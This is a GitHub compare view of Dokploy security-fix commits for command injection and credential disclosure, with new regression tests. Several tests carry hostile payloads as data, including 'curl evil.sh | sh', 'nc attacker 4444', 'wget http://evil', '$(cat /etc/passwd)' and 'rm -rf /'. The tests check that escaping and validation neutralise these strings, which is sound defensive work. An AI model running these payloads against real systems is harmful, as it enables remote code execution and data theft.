Compare commits

...

40 Commits

Author SHA1 Message Date
Mauricio Siu
dd32a23583 Update compose-command-injection.test.ts 2026-07-19 23:19:34 -06:00
autofix-ci[bot]
fbd84b9b0d [autofix.ci] apply automated fixes 2026-07-20 05:07:24 +00:00
Mauricio Siu
d48037a802 fix(security): escape compose path and validate custom compose command
- composePath / appName are now passed through shell-quote in createCommand,
  getCreateEnvFileCommand and services/compose.ts deploy commands, instead of
  being interpolated raw into 'docker compose'/'docker stack' shell commands.
- compose.command: sanitizeCommand was cosmetic (trim + strip quotes). It now
  rejects shell control characters (; & | ` $ () {} <> newline), which a normal
  docker compose CLI line never contains, blocking breakout into host commands.

Closes GHSA-8r5w-vqjr-8c44, GHSA-5xv2-7f8w-9j5c, GHSA-qh6h-669j-77rw
2026-07-19 23:06:53 -06:00
Mauricio Siu
8539a5c82f Merge pull request #4862 from Dokploy/fix/cmdi-db-backup-restore
fix(security): OS command injection in database backup/restore commands
2026-07-19 22:59:42 -06:00
Mauricio Siu
ccd2e83c57 fix(security): pass db backup/restore identifiers via env vars to avoid injection
The backup and restore command builders interpolated database name / user /
password directly into a 'docker exec ... {bash,sh} -c "..."' string executed
via execAsync / execAsyncRemote. Because the values sit inside the outer shell's
double quotes, a simple quote() is insufficient: the outer shell expands $(),
backticks and $VAR before the inner quoting applies (double-nested shell).

Values are now passed to the container as environment variables (docker exec -e
VAR=<shell-quoted>) and referenced as "$VAR" inside a single-quoted inner
script, so they never enter the inner command text and cannot break out of
either shell layer. The rest of each command (pg_dump/mysqldump/etc., flags,
| gzip) is unchanged.

Closes GHSA-qc73-mp78-4833, GHSA-qf8x-98cv-92qh, GHSA-ww4j-wjrr-rq8v, GHSA-7m3w-rm5f-h4fr, GHSA-f7mp-9jfp-mjrr
2026-07-19 22:54:44 -06:00
Mauricio Siu
89effbe395 Merge pull request #4861 from Dokploy/fix/cmdi-db-service-dockerimage
fix(security): OS command injection via dockerImage in database service deploys
2026-07-19 22:46:44 -06:00
Mauricio Siu
b24202e69b fix(security): escape dockerImage in database service remote docker pull
The deploy functions for postgres/mysql/mariadb/mongo/redis/libsql interpolated
the user-settable dockerImage field unquoted into 'docker pull ${dockerImage}'
executed via execAsyncRemote (SSH) on the remote server path. Now passed through
shell-quote. The local path already used pullImage() (execFile-based) and is
unaffected.

Closes GHSA-6jrh-8qmg-jj3p
2026-07-19 22:45:31 -06:00
Mauricio Siu
0348f5fb38 Merge pull request #4860 from Dokploy/fix/cmdi-docker-build-pull
fix(security): OS command injection in docker build/pull commands
2026-07-19 22:40:47 -06:00
Mauricio Siu
cba0b253c7 fix(security): escape user input in docker build/pull commands
- dockerImage (buildRemoteDocker) -> docker pull / echo
- dockerContextPath (docker-file builder) -> cd
- publishDirectory (nixpacks builder) -> docker cp source/dest paths

These fields were interpolated unescaped into shell commands run via execAsync /
execAsyncRemote during deployment. All are now passed through shell-quote.
Registry credentials already went through safeDockerLoginCommand (unchanged).

Closes GHSA-g9cg-4mmj-mh7p, GHSA-jxxj-gmpx-h5rj, GHSA-qjrc-g63x-qhp9, GHSA-98j8-6vjr-c3xw
2026-07-19 21:53:55 -06:00
Mauricio Siu
1c31ed9969 Merge pull request #4859 from Dokploy/fix/idor-application-one-secret-redaction
fix(security): git provider secret disclosure via application.one
2026-07-19 21:46:29 -06:00
Mauricio Siu
ecbaf6060b refactor(security): exclude git provider secrets at query level in findApplicationById
Simpler and consistent with the existing registry column exclusion in the same
query: drop the secret columns from the nested github/gitlab/gitea/bitbucket
relations via columns:{ ...: false } instead of a post-fetch redaction helper.
Server-side clone paths re-fetch providers by id (find{Github,Gitlab,...}ById),
so deployments are unaffected. Column names are validated at compile time by
drizzle's typed columns config.

Closes GHSA-hg9j-j5mc-phf5, GHSA-wx75-vxph-2m2f
2026-07-19 21:43:51 -06:00
Mauricio Siu
c0afc48da8 docs: trim block comment on redactApplicationGitSecrets 2026-07-19 21:35:59 -06:00
Mauricio Siu
65fe737bc4 Merge pull request #4858 from Dokploy/fix/idor-swarm-cross-org
fix(security): cross-org IDOR + nodeId injection in swarm read endpoints
2026-07-19 21:28:53 -06:00
autofix-ci[bot]
77384b2183 [autofix.ci] apply automated fixes 2026-07-20 03:28:36 +00:00
Mauricio Siu
68ea9f7771 fix(security): redact git provider secrets from application.one response
findApplicationById eagerly loads the github/gitlab/gitea/bitbucket relations
(needed server-side to clone) including OAuth tokens, the GitHub App private key
and webhook secret. application.one returned them to the client, exposing them to
any member with service:read even when hasGitProviderAccess was false.

Adds redactApplicationGitSecrets() in the application service (blanks the secret
columns, immutably) and applies it to application.one. No client feature reads
these secrets (verified in the frontend); server-side clone paths use
findApplicationById directly, so behaviour is unchanged.

Closes GHSA-hg9j-j5mc-phf5, GHSA-wx75-vxph-2m2f
2026-07-19 21:28:02 -06:00
Mauricio Siu
182d3656bb refactor: inline the server org-scope check in each swarm handler
Match the existing getContainerStats style instead of a shared helper.
2026-07-19 21:26:37 -06:00
Mauricio Siu
c2c0e9c1c2 Merge pull request #4857 from Dokploy/fix/idor-server-ssh-key-disclosure
fix(security): SSH private key disclosure via server read endpoints
2026-07-19 21:22:56 -06:00
Mauricio Siu
5563699f71 fix(security): enforce org-scope on swarm reads and escape nodeId
swarm.getNodes/getNodeInfo/getNodeApps/getAppInfos accepted a caller-supplied
serverId and ran remote Docker Swarm reads against it with no organization
check, exposing another tenant's swarm topology cross-org (getContainerStats
already had the check; the others did not). getNodeInfo additionally
interpolated nodeId unescaped into 'docker node inspect ${nodeId}'.

Adds an org-ownership assertion to the four unscoped handlers and passes nodeId
through shell-quote in getNodeInfo.

Closes GHSA-jj6h-388v-9rwm
2026-07-19 21:20:47 -06:00
Mauricio Siu
117cfa1a89 test(types): annotate server record without sshKey relation in redaction test 2026-07-19 21:18:57 -06:00
Mauricio Siu
439eee45ed fix(security): redact SSH private key from server read responses
findServerById eagerly loads the sshKey relation (needed for server-side SSH
operations) including the plaintext privateKey. server.one and server.remove
returned that record to the client, exposing the private key to any member
with server:read regardless of canAccessToSSHKeys.

Adds redactServerSshKey() in the server service and applies it to the server.one
and server.remove responses. No client feature consumes the private key (the SSH
key management UI uses the dedicated sshKey router), and server-side callers keep
using findServerById directly, so behaviour is unchanged.

Closes GHSA-w9cp-jqfw-4xj9
2026-07-19 21:14:10 -06:00
Mauricio Siu
e88c6b6b4f Merge pull request #4856 from Dokploy/fix/idor-git-provider-secret-disclosure
fix(security): git provider credential disclosure via cross-org IDOR (.one endpoints)
2026-07-19 21:11:08 -06:00
Mauricio Siu
26cae3b8a9 fix(types): guard git-provider access check for optional id in getBranches
The getBranches inputs type the provider id as optional, so only fetch and
authorize when an id is actually present; the underlying getBranches already
returns [] when no id is supplied.
2026-07-19 21:04:54 -06:00
Mauricio Siu
071d9eacee fix(security): enforce org-scope on git provider read endpoints
The .one / getRepositories / getBranches / testConnection handlers for
github, gitlab, gitea and bitbucket resolved a provider by bare id under
protectedProcedure and returned the full row (OAuth tokens, app private
keys, webhook secrets) with no organization or entitlement check, letting
any authenticated user read another org's git-provider credentials (IDOR).

Adds assertGitProviderAccess() in the git-provider service (rejects cross-org
with NOT_FOUND and non-entitled same-org with FORBIDDEN, reusing the existing
getAccessibleGitProviderIds entitlement logic) and calls it in every read
handler before returning secret-bearing data.

Closes GHSA-66r5-5m5f-57vg
2026-07-19 20:55:53 -06:00
Mauricio Siu
57ecfa8884 Merge pull request #4855 from Dokploy/fix/cmdi-git-clone-providers
fix(security): OS command injection in git clone across all providers
2026-07-19 20:49:30 -06:00
Mauricio Siu
97cd7d1009 test(security): fix type error in shell-quote op assertion 2026-07-19 20:47:42 -06:00
Mauricio Siu
cf35eae73f test(security): regression tests for git clone command injection escaping 2026-07-19 20:44:46 -06:00
autofix-ci[bot]
fb7f5bd5b6 [autofix.ci] apply automated fixes 2026-07-20 02:32:57 +00:00
Mauricio Siu
47347ab885 fix(security): escape user input in git clone commands across all providers
User-controlled git fields (customGitUrl, branch names, repo owner/name,
gitlab namespace, SSH hostname) were interpolated unescaped into git clone /
ssh-keyscan shell commands run via execAsync / execAsyncRemote, allowing
authenticated OS command injection. All such values are now passed through
shell-quote before interpolation (defense at the sink, covering every code
path including the compose branch bypass).

Closes GHSA-qxcw-cx35-2hrw, GHSA-hrfh-82jj-3q46, GHSA-6693-xv3f-69px,
GHSA-qwwm-hc7m-7xp9, GHSA-grrj-6xrh-j6vp, GHSA-x2p2-qq8g-2mqq,
GHSA-cg8g-x23v-5fw8
2026-07-19 20:32:15 -06:00
Mauricio Siu
74811073f6 Remove unused localization files for various languages in the Dokploy application, including common and settings JSON files for Azerbaijani, German, English, Spanish, Persian, French, Indonesian, Italian, Japanese, Korean, Kazakh, Malayalam, Dutch, Norwegian, and Polish. This cleanup helps streamline the localization process by eliminating empty files. 2026-07-19 20:11:20 -06:00
Mauricio Siu
df3965a581 Merge pull request #4800 from EvanSchleret/fix/typo
fix(ui): typos
2026-07-14 23:44:00 -06:00
Mauricio Siu
bddc0c3d15 Merge pull request #4825 from Dokploy/fix/allow-clearing-server-domain
fix(settings): allow clearing the server domain
2026-07-14 15:20:27 -06:00
Mauricio Siu
9626c162cc Merge pull request #4826 from Dokploy/fix/repo-selector-duplicate-names
fix(ui): disambiguate repos with the same name in the repository selector
2026-07-14 15:18:47 -06:00
Mauricio Siu
c4596ffa76 refactor(ui): improve repository and branch display in popovers
Updated the PopoverContent components across various provider files to ensure consistent width and padding. Enhanced the display of repository and branch names by adding truncation to prevent overflow in the UI. This change applies to Bitbucket, Gitea, GitHub, and GitLab provider components, as well as their respective compose components.
2026-07-14 15:16:56 -06:00
Mauricio Siu
de62aff0fb fix(ui): disambiguate repos with the same name in the repository selector
The repository CommandItem used the repo name as its cmdk value and
the check icon compared only names, so two repos with the same name in
different owners/orgs showed the selected checkmark and hover on both
entries. Key the item by owner/name and include the owner in the
selected comparison. GitLab already keyed by URL and is unaffected.

Fixes #4793
2026-07-14 11:42:31 -06:00
Mauricio Siu
d5dd35c8f8 fix(settings): allow clearing the server domain
The Server Domain form rejected an empty value ('Invalid domain name'),
making domain assignment a one-way operation. The backend already
removes the Traefik router and clears the host when it receives an
empty host, so only the client-side validation blocked removal.

Allow an empty domain to clear it, and skip the https/letsencrypt
requirements when the domain is being removed.

Fixes #4821
2026-07-14 11:39:30 -06:00
Mauricio Siu
4631ede015 Merge pull request #4823 from Dokploy/fix/compose-volume-suffix-access-mode
fix(compose): preserve named-volume access mode when adding suffix
2026-07-14 11:38:10 -06:00
Mauricio Siu
bc22d05f8d fix(compose): preserve named-volume access mode when adding suffix
The randomize/isolated-deployment volume transform split mount strings
on ':' and kept only the first two segments, so an access mode like
:ro, :z or :Z was silently dropped and read-only mounts became
read-write. Keep the full path+mode remainder when rebuilding the
mount string.

Fixes #4818
2026-07-14 11:34:46 -06:00
Mauricio Siu
7ba9818894 Merge pull request #4806 from tanaymishra/fix/validate-api-key-name-length
fix: validate API key name length to prevent opaque 500
2026-07-14 00:08:04 -06:00
tanaymishra
f577778667 fix: validate API key name length to prevent opaque 500
API key names longer than 32 characters were rejected by better-auth
with a 400 that surfaced as an opaque INTERNAL_SERVER_ERROR (the generic
"Failed to generate API key" toast). Add a shared name schema (min 1,
max 32, matching better-auth's default maximumNameLength) used by both
the tRPC input and the client form, and surface the limit on the Name
field so users see it before submitting.

Fixes #4798
2026-07-12 18:15:05 +05:30
Evan Schleret
12d3f1871c fix(ui): typos 2026-07-12 03:13:52 +02:00
98 changed files with 1098 additions and 1336 deletions

View File

@@ -0,0 +1,26 @@
import { describe, expect, it } from "vitest";
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
describe("apiKeyNameSchema", () => {
it("rejects an empty name", () => {
const result = apiKeyNameSchema.safeParse("");
expect(result.success).toBe(false);
});
it("accepts a name at the maximum length", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(true);
});
it("rejects a name over the maximum length instead of passing it to better-auth", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(false);
if (!result.success) {
expect(result.error.issues[0]?.message).toBe(
`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
);
}
});
});

View File

@@ -0,0 +1,106 @@
import { execSync } from "node:child_process";
import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
import {
getLibsqlBackupCommand,
getMariadbBackupCommand,
getMongoBackupCommand,
getMysqlBackupCommand,
getPostgresBackupCommand,
} from "@dokploy/server/utils/backups/utils";
import {
getMariadbRestoreCommand,
getMongoRestoreCommand,
getMysqlRestoreCommand,
getPostgresRestoreCommand,
} from "@dokploy/server/utils/restore/utils";
import { afterAll, beforeAll, describe, expect, it } from "vitest";
// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
// test exercises BOTH shell layers (outer /bin/sh building the docker command,
// and the inner shell) the way production does, without needing a container.
const stub = `/tmp/docker_stub_${process.pid}`;
const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
beforeAll(() => {
writeFileSync(
stub,
`#!/bin/bash
shift # exec
envs=()
while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
shift 2 # -i CONTAINER
shell="$1"; shift # bash|sh
shift # -c
env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
`,
);
chmodSync(stub, 0o755);
});
afterAll(() => {
if (existsSync(stub)) rmSync(stub);
if (existsSync(MARK)) rmSync(MARK);
});
// Run a builder-produced command with `docker` pointed at the stub; return true
// if no injected command fired.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
const withStub = command.replace(/^docker /, `${stub} `);
try {
execSync(withStub, {
shell: "/bin/bash",
stdio: "ignore",
env: { ...process.env, CONTAINER_ID: "test" },
});
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
// Payloads that try to break out of every quoting style used in the builders.
const p = (mark: string) => [
`$(touch ${mark})`,
"`touch " + mark + "`",
`x'; touch ${mark}; '`,
`x"; touch ${mark}; echo "`,
`x; touch ${mark}`,
];
describe("database backup/restore command injection", () => {
const cases: Array<[string, (v: string) => string]> = [
["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
[
"mariadb restore (password)",
(v) => getMariadbRestoreCommand("db", "u", v),
],
["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
];
for (const [label, build] of cases) {
it(`${label} is not injectable`, () => {
for (const payload of p(MARK)) {
expect(runsSafely(build(payload))).toBe(true);
}
});
}
it("preserves a legitimate database name (passed through as env var)", () => {
const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
// Values live in -e assignments, never inline in the pg_dump text.
expect(cmd).toContain("-e DB_NAME=my-db_prod");
expect(cmd).toContain("-e DB_USER=app_user");
expect(cmd).toContain(
'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
);
});
});

View File

@@ -0,0 +1,103 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "raw" as const,
command: "",
composePath: "docker-compose.yml",
};
// createCommand output is interpolated as `docker ${command}` at the deploy
// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
`$(touch ${MARK})`,
"`touch " + MARK + "`",
`x; touch ${MARK}`,
`x | touch ${MARK}`,
];
describe("compose createCommand injection", () => {
it("escapes composePath (docker-compose)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes composePath (stack deploy)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
composeType: "stack",
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes appName", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
appName: p,
composePath: "docker-compose.yml",
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("rejects a custom command containing shell control characters", () => {
for (const bad of [
"up -d; rm -rf /",
"up && curl evil | sh",
"up $(touch x)",
"up `id`",
]) {
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
/Invalid characters/,
);
}
});
it("allows a legitimate custom command", () => {
const cmd = createCommand({
...base,
command: "compose -f docker-compose.yml -p app up -d --build",
} as any);
expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
});
it("keeps a legitimate composePath intact", () => {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: "deploy/docker-compose.prod.yml",
} as any);
expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
"deploy/docker-compose.prod.yml",
);
});
});

View File

@@ -42,6 +42,39 @@ test("Add suffix to volumes declared directly in services", () => {
); );
}); });
const composeFileAccessMode = `
version: "3.8"
services:
web:
image: nginx:alpine
volumes:
- web_config:/etc/nginx/conf.d:ro
- certs/sub:/etc/certs:Z
`;
test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
const composeData = parse(composeFileAccessMode) as ComposeSpecification;
const suffix = generateRandomHash();
if (!composeData.services) {
return;
}
const updatedComposeData = addSuffixToVolumesInServices(
composeData.services,
suffix,
);
expect(updatedComposeData.web?.volumes).toContain(
`web_config-${suffix}:/etc/nginx/conf.d:ro`,
);
expect(updatedComposeData.web?.volumes).toContain(
`certs-${suffix}/sub:/etc/certs:Z`,
);
});
const composeFileTypeVolume = ` const composeFileTypeVolume = `
version: "3.8" version: "3.8"

View File

@@ -0,0 +1,41 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
// path. `docker` is replaced by `:` so only the injection surface is exercised.
const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"redis:7; touch %MARK%",
"redis:7 && touch %MARK%",
"redis:7 | touch %MARK%",
];
describe("database service dockerImage command injection", () => {
it("does not execute injected commands from dockerImage", () => {
for (const template of PAYLOADS) {
if (existsSync(MARK)) rmSync(MARK);
const dockerImage = template.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}`;
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
expect(existsSync(MARK)).toBe(false);
}
if (existsSync(MARK)) rmSync(MARK);
});
it("keeps a legitimate image tag intact", () => {
expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
"postgres:16.4-alpine",
]);
expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
"ghcr.io/org/db:latest",
]);
});
});

View File

@@ -0,0 +1,66 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Reproduces the escaping applied at the docker build/pull sinks and asserts no
// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
// test exercises only the injection surface, not real docker.
const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
const runAndCheckSafe = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {
// no-op stand-ins may exit non-zero; only the marker matters.
}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"x; touch %MARK%",
"x && touch %MARK%",
"x | touch %MARK%",
];
describe("docker build/pull command injection", () => {
it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
for (const p of PAYLOADS) {
const dockerImage = p.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("dockerContextPath (docker-file: cd) is escaped", () => {
for (const p of PAYLOADS) {
const dockerContextPath = p.replace("%MARK%", MARK);
const command = `: cd ${quote([dockerContextPath])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
for (const p of PAYLOADS) {
const publishDirectory = p.replace("%MARK%", MARK);
const containerId = "buildabc";
const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("keeps a legitimate image / path intact as a single token", () => {
// Escaping may add backslashes (e.g. before ':'), but the shell must parse
// the result back to exactly the original single token.
expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
"registry.io/team/app:tag",
]);
expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
});
});

View File

@@ -0,0 +1,87 @@
import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
import { shellWord } from "@dokploy/server/utils/providers/utils";
import { parse } from "shell-quote";
import { describe, expect, it } from "vitest";
// Payloads that, if reached a shell unescaped, would execute commands.
const INJECTION_PAYLOADS = [
"$(touch /tmp/pwned)",
"`id`",
"; rm -rf /",
"&& curl evil.sh | sh",
"| nc attacker 4444",
"https://github.com/o/r.git$(whoami)",
"main; wget http://evil",
"$(cat /etc/passwd)",
];
// Legit values that must survive escaping unchanged.
const LEGIT_VALUES = [
"main",
"feature/login-v2",
"release-1.2.3",
"https://github.com/dokploy/dokploy.git",
"https://gitlab.example.com/group/sub/project.git",
];
describe("shellWord (git provider shell escaping)", () => {
it("collapses every injection payload into a single literal token (no shell operators)", () => {
for (const payload of INJECTION_PAYLOADS) {
const parsed = parse(shellWord(payload));
// A safely escaped value parses back to exactly the original string,
// as ONE token. If escaping failed, parse() would emit operator
// objects such as { op: ";" } or { op: "$(" } instead.
expect(parsed).toEqual([payload]);
}
});
it("leaves legitimate URLs and branch names intact", () => {
for (const value of LEGIT_VALUES) {
expect(parse(shellWord(value))).toEqual([value]);
}
});
});
describe("cloneGitRepository command (customGitUrl path)", () => {
const buildClone = (customGitUrl: string, customGitBranch: string) =>
cloneGitRepository({
appName: "demo-app",
customGitUrl,
customGitBranch,
customGitSSHKeyId: null,
enableSubmodules: false,
serverId: null,
type: "application",
});
// A malicious substring, once escaped, must survive parsing as inert literal
// text and never as an executable command/operator. `parse()` turns command
// substitution and control operators into { op } objects, so we assert the
// injected marker only ever shows up inside a plain string token.
const markerLeaksAsShellSyntax = (command: string, marker: string) => {
const tokens = parse(command);
return tokens.some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
};
it("does not let a malicious customGitUrl inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git$(touch /tmp/pwned)",
"main",
);
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).toContain("git clone");
});
it("does not let a malicious customGitBranch inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git",
"main; touch /tmp/pwned",
);
// The branch is a single quoted token, so its ";" contributes no extra
// operator and `touch` never becomes a runnable statement.
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).not.toContain("touch /tmp/pwned;");
});
});

View File

@@ -0,0 +1,91 @@
import { TRPCError } from "@trpc/server";
import { beforeEach, describe, expect, it, vi } from "vitest";
// Mock the DB so the REAL getAccessibleGitProviderIds (called internally by
// assertGitProviderAccess) runs against controlled data. Mocking the exported
// function would NOT intercept the intra-module call, so we mock one layer down.
const mockDb = vi.hoisted(() => ({
query: {
gitProvider: {
findMany: vi.fn(),
},
member: {
findFirst: vi.fn(),
},
},
}));
vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
const mockHasValidLicense = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
hasValidLicense: mockHasValidLicense,
}));
import { assertGitProviderAccess } from "@dokploy/server/services/git-provider";
const ORG = "org-1";
const USER = "user-member";
const session = { userId: USER, activeOrganizationId: ORG };
// Provider owned by USER within ORG -> should be accessible.
const providerMine = {
gitProviderId: "gp-mine",
userId: USER,
sharedWithOrganization: false,
};
// Provider owned by someone else within ORG, not shared, not assigned.
const providerOther = {
gitProviderId: "gp-other",
userId: "user-2",
sharedWithOrganization: false,
};
beforeEach(() => {
vi.clearAllMocks();
mockHasValidLicense.mockResolvedValue(false);
mockDb.query.gitProvider.findMany.mockResolvedValue([
providerMine,
providerOther,
]);
mockDb.query.member.findFirst.mockResolvedValue({
role: "member",
accessedGitProviders: [],
});
});
describe("assertGitProviderAccess (git provider IDOR guard)", () => {
it("rejects a provider from another organization with NOT_FOUND (cross-org IDOR)", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: "org-2",
}),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("rejects a same-org provider the caller is not entitled to with FORBIDDEN", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-other",
organizationId: ORG,
}),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
it("allows a same-org provider the caller owns", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: ORG,
}),
).resolves.toBeUndefined();
});
it("throws a TRPCError so tRPC maps the HTTP status", async () => {
const err = await assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: "org-2",
}).catch((e) => e);
expect(err).toBeInstanceOf(TRPCError);
});
});

View File

@@ -0,0 +1,44 @@
import { redactServerSshKey } from "@dokploy/server/services/server";
import { describe, expect, it } from "vitest";
describe("redactServerSshKey (server SSH private key disclosure guard)", () => {
it("blanks the private key while keeping the rest of the ssh key intact", () => {
const server = {
serverId: "srv-1",
name: "prod",
sshKey: {
sshKeyId: "key-1",
publicKey: "ssh-ed25519 AAAA...",
privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n",
},
};
const redacted = redactServerSshKey(server);
expect(redacted.sshKey.privateKey).toBe("");
// Non-secret fields and the surrounding record must survive untouched.
expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA...");
expect(redacted.serverId).toBe("srv-1");
expect(redacted.name).toBe("prod");
});
it("does not mutate the original record", () => {
const server = {
serverId: "srv-1",
sshKey: { privateKey: "top-secret" },
};
redactServerSshKey(server);
expect(server.sshKey.privateKey).toBe("top-secret");
});
it("is a no-op when the server has no ssh key", () => {
const server = { serverId: "srv-2", sshKey: null };
expect(redactServerSshKey(server)).toEqual(server);
});
it("handles a record without a loaded sshKey relation", () => {
// e.g. server.update returns the plain row where sshKey is not populated.
const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" };
expect(redactServerSshKey(server)).toEqual(server);
});
});

View File

@@ -0,0 +1,41 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Mirrors how getNodeInfo builds its command in services/docker.ts:
// `docker node inspect ${quote([nodeId])} --format '{{json .}}'`
// We swap `docker node inspect` for `:` (a no-op) so the test only exercises
// whether the nodeId payload can break out of the command, not real docker.
const buildCommand = (nodeId: string) =>
`: node inspect ${quote([nodeId])} --format '{{json .}}'`;
const INJECTION_NODE_IDS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"; touch %MARK%",
"abc | touch %MARK%",
"&& touch %MARK%",
];
describe("getNodeInfo nodeId command injection", () => {
it("does not execute injected commands from the nodeId", () => {
const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`;
for (const template of INJECTION_NODE_IDS) {
if (existsSync(mark)) rmSync(mark);
const nodeId = template.replace("%MARK%", mark);
try {
execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" });
} catch {
// A non-zero exit from the no-op is fine; we only care about the marker.
}
expect(existsSync(mark)).toBe(false);
}
if (existsSync(mark)) rmSync(mark);
});
it("keeps a legitimate node id intact as a single literal token", () => {
const nodeId = "abc123def456";
expect(quote([nodeId])).toBe(nodeId);
});
});

View File

@@ -256,14 +256,19 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
: isLoadingRepositories : isLoadingRepositories
? "Loading...." ? "Loading...."
: (repositories?.find( : (repositories?.find(
(repo) => repo.name === field.value.repo, (repo) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")} )?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
